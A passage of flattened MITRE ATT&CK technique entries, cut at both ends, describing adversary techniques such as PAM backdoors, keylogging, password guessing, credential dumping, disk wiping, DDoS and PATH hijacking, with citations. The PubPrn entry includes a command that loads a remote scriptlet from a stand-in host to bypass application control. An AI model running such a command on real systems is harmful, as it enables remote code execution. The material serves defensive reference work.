source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/009 external_id: T1027.009 source_name: GitHub PSImage description: Barrett Adams . (n.d.). Invoke-PSImage . Retrieved September 30, 2022. url: https://github.com/peewpw/Invoke-PSImage source_name: Malware Analysis Report ComRAT description: CISA. (2020, October 29). Malware Analysis Report (AR20-303A) MAR-10310246-2.v1 – PowerShell Script: ComRAT. Retrieved September 30, 2022. url: https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a source_name: Trend Micro description: Karen Victor. (2020, May 18). Reflective Loading Runs Netwalker Fileless Ransomware. Retrieved September 30, 2022. url: https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html source_name: Securelist Dtrack2 description: KONSTANTIN ZYKOV. (2019, September 23). Hello! My name is Dtrack. Retrieved September 30, 2022. url: https://securelist.com/my-name-is-dtrack/93338/ source_name: Microsoft Learn description: Microsoft. (2021, April 6). 2.5 ExtraData. Retrieved September 30, 2022. url: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1 source_name: SentinelLabs reversing run-only applescripts 2021 description: Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022. url: https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/ source_name: Sentinel Labs description: Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 30, 2022. url: https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/

kill_chain_name: mitre-attack phase_name: defense-evasion

macOS

Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM) Adversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor) Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)

enterprise-attack

Pluggable Authentication Modules

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/003 external_id: T1556.003 source_name: Apple PAM description: Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020. url: https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt source_name: Man Pam_Unix description: die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020. url: https://linux.die.net/man/8/pam_unix source_name: Red Hat PAM description: Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020. url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules source_name: PAM Backdoor description: zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020. url: https://github.com/zephrax/linux-pam-backdoor source_name: PAM Creds description: Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020. url: https://x-c3ll.github.io/posts/PAM-backdoor-DNS/

kill_chain_name: mitre-attack phase_name: persistence

Linux

An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)

enterprise-attack

Revert Cloud Instance

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1578/004 external_id: T1578.004 source_name: Tech Republic - Restore AWS Snapshots description: Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019. url: https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/ source_name: Google - Restore Cloud Snapshot description: Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019. url: https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots

kill_chain_name: mitre-attack phase_name: defense-evasion

IaaS

Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

enterprise-attack

Gather Victim Host Information

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1592 external_id: T1592 source_name: ATT ScanBox description: Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020. url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks source_name: ThreatConnect Infrastructure Dec 2020 description: ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021. url: https://threatconnect.com/blog/infrastructure-research-hunting/

kill_chain_name: mitre-attack phase_name: reconnaissance

PRE

Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

enterprise-attack

Digital Certificates

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1596/003 external_id: T1596.003 source_name: SSLShopper Lookup description: SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020. url: https://www.sslshopper.com/ssl-checker.html source_name: Medium SSL Cert description: Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020. url: https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2

kill_chain_name: mitre-attack phase_name: reconnaissance

PRE

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021) Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include: * Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data. * Reading raw keystroke data from the hardware buffer. * Windows Registry modifications. * Custom drivers. * [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)

enterprise-attack

Keylogging

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1056/001 external_id: T1056.001 source_name: Talos Kimsuky Nov 2021 description: An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021. url: https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 source_name: Adventures of a Keystroke description: Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016. url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf

kill_chain_name: mitre-attack phase_name: credential-access

Windows

Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions) Adversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) and other [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043) activities to both discover and verify existing exclusions in a victim environment.

enterprise-attack

File/Path Exclusions

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564/012 external_id: T1564.012 source_name: Microsoft File Folder Exclusions description: Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024. url: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus

kill_chain_name: mitre-attack phase_name: defense-evasion

Linux

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.). Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode). Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques)

enterprise-attack

Linux and Mac File and Directory Permissions Modification

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1222/002 external_id: T1222.002 source_name: Hybrid Analysis Icacls1 June 2018 description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018. url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100 source_name: Hybrid Analysis Icacls2 May 2018 description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018. url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110 source_name: 20 macOS Common Tools and Techniques description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/

kill_chain_name: mitre-attack phase_name: defense-evasion

macOS

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts. Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) * SNMP (161/UDP and 162/TCP/UDP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020) In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.

enterprise-attack

Password Guessing

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1110/001 external_id: T1110.001 source_name: Trend Micro Emotet 2020 description: Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022. url: https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi source_name: Cylance Cleaver description: Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017. url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf source_name: US-CERT TA18-068A 2018 description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019. url: https://www.us-cert.gov/ncas/alerts/TA18-086A

kill_chain_name: mitre-attack phase_name: credential-access

Windows

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn) Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script. In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).

enterprise-attack

PubPrn

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1216/001 external_id: T1216.001 source_name: pubprn description: Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021. url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn source_name: Enigma0x3 PubPrn Bypass description: Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018. url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

enterprise-attack

Purchase Technical Data

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1597/002 external_id: T1597.002 source_name: ZDNET Selling Data description: Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020. url: https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/

kill_chain_name: mitre-attack phase_name: reconnaissance

PRE

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.(Citation: Brining MimiKatz to Unix) Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

enterprise-attack

OS Credential Dumping

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1003 external_id: T1003 source_name: Medium Detecting Attempts to Steal Passwords from Memory description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019. url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea source_name: AdSecurity DCSync Sept 2015 description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017. url: https://adsecurity.org/?p=1729 source_name: Microsoft DRSR Dec 2017 description: Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017. url: https://msdn.microsoft.com/library/cc228086.aspx source_name: Microsoft NRPC Dec 2017 description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017. url: https://msdn.microsoft.com/library/cc237008.aspx source_name: Microsoft GetNCCChanges description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017. url: https://msdn.microsoft.com/library/dd207691.aspx source_name: Microsoft SAMR description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017. url: https://msdn.microsoft.com/library/cc245496.aspx source_name: Powersploit description: PowerSploit. (n.d.). Retrieved December 4, 2014. url: https://github.com/mattifestation/PowerSploit source_name: Samba DRSUAPI description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017. url: https://wiki.samba.org/index.php/DRSUAPI source_name: Harmj0y DCSync Sept 2015 description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017. url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ source_name: Brining MimiKatz to Unix description: Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021. url: https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf

kill_chain_name: mitre-attack phase_name: credential-access

Windows

Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)). Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective. The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017) The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)

enterprise-attack

Shared Modules

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1129 external_id: T1129 source_name: RotaJakiro 2021 netlab360 analysis description: Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023. url: https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/ source_name: Apple Dev Dynamic Libraries description: Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023. url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html source_name: Unit42 OceanLotus 2017 description: Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023. url: https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/ source_name: Microsoft DLL description: Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023. url: https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library source_name: Linux Shared Libraries description: Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023. url: https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html

kill_chain_name: mitre-attack phase_name: execution

Windows

Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices. Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)

enterprise-attack

Data from Configuration Repository

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1602 external_id: T1602 source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020. url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3 source_name: US-CERT TA17-156A SNMP Abuse 2017 description: US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020. url: https://us-cert.cisa.gov/ncas/alerts/TA17-156A source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A

kill_chain_name: mitre-attack phase_name: collection

Network

Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped. On a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco) To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

enterprise-attack

Disk Structure Wipe

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1561/002 external_id: T1561.002 source_name: format_cmd_cisco description: Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668 source_name: Unit 42 Shamoon3 2018 description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019. url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/ source_name: Palo Alto Shamoon Nov 2016 description: Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017. url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ source_name: FireEye Shamoon Nov 2016 description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017. url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html source_name: Kaspersky StoneDrill 2017 description: Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019. url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf source_name: Microsoft Sysmon v6 May 2017 description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017. url: https://docs.microsoft.com/sysinternals/downloads/sysmon source_name: Symantec Shamoon 2012 description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019. url: https://www.symantec.com/connect/blogs/shamoon-attacks

kill_chain_name: mitre-attack phase_name: impact

Linux

Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

enterprise-attack

Direct Network Flood

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1498/001 external_id: T1498.001 source_name: Cisco DoSdetectNetflow description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf source_name: USNYAG IranianBotnet March 2016 description: Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019. url: https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged

kill_chain_name: mitre-attack phase_name: impact

Windows

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing. For example, on Windows if an adversary places a malicious program named "net.exe" in `C:\example path`, which by default precedes `C:\Windows\system32\net.exe` in the PATH environment variable, when "net" is executed from the command-line the `C:\example path` will be called instead of the system's legitimate executable at `C:\Windows\system32\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021) Adversaries may also directly modify the $PATH 